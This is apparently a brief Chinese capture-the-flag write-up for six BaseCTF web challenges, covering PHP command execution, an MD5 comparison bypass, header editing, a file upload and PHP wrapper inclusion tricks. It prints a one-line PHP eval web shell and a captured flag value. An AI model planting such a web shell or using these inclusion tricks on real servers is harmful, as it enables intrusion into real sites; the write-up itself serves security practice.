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张程思

一, 喵喵喵´•ع•`
1,利用 system  函数执行 Shell 命令, 也可用使用 echo file_get_contents('/flag');



二,MD5绕过欸
1,构造payload发送 GET 参数URL 里的name 和name2和 POST 参数表单数据里的password和
password2

2,flag就在其中

BaseCTF{077b2fb2-791f-4124-9e60-e808f301c820}



三,HTTP 是什么呀
1,提示给的很多了,在bp里修改内容即可



2,base64解码就出来了

四,Dark Room



1,直接在源代码中找到flag

五,upload
1,让上传文件,直接一句话木马,蚁剑连接地址出flag

<?php eval($_POST[0]);





六, Aura 酱的礼物



1,对于第一个判断,可以尝试通过 data伪协议来进行读取

2,第二个判断考察的是strpos和file_get_contents对 URL 解析的差异
3,最终include这里使用php://filter伪协议
4,最后将这几个构造的payload融合在一起,在cmd中用curl执行



5,解码一下base64就出来了


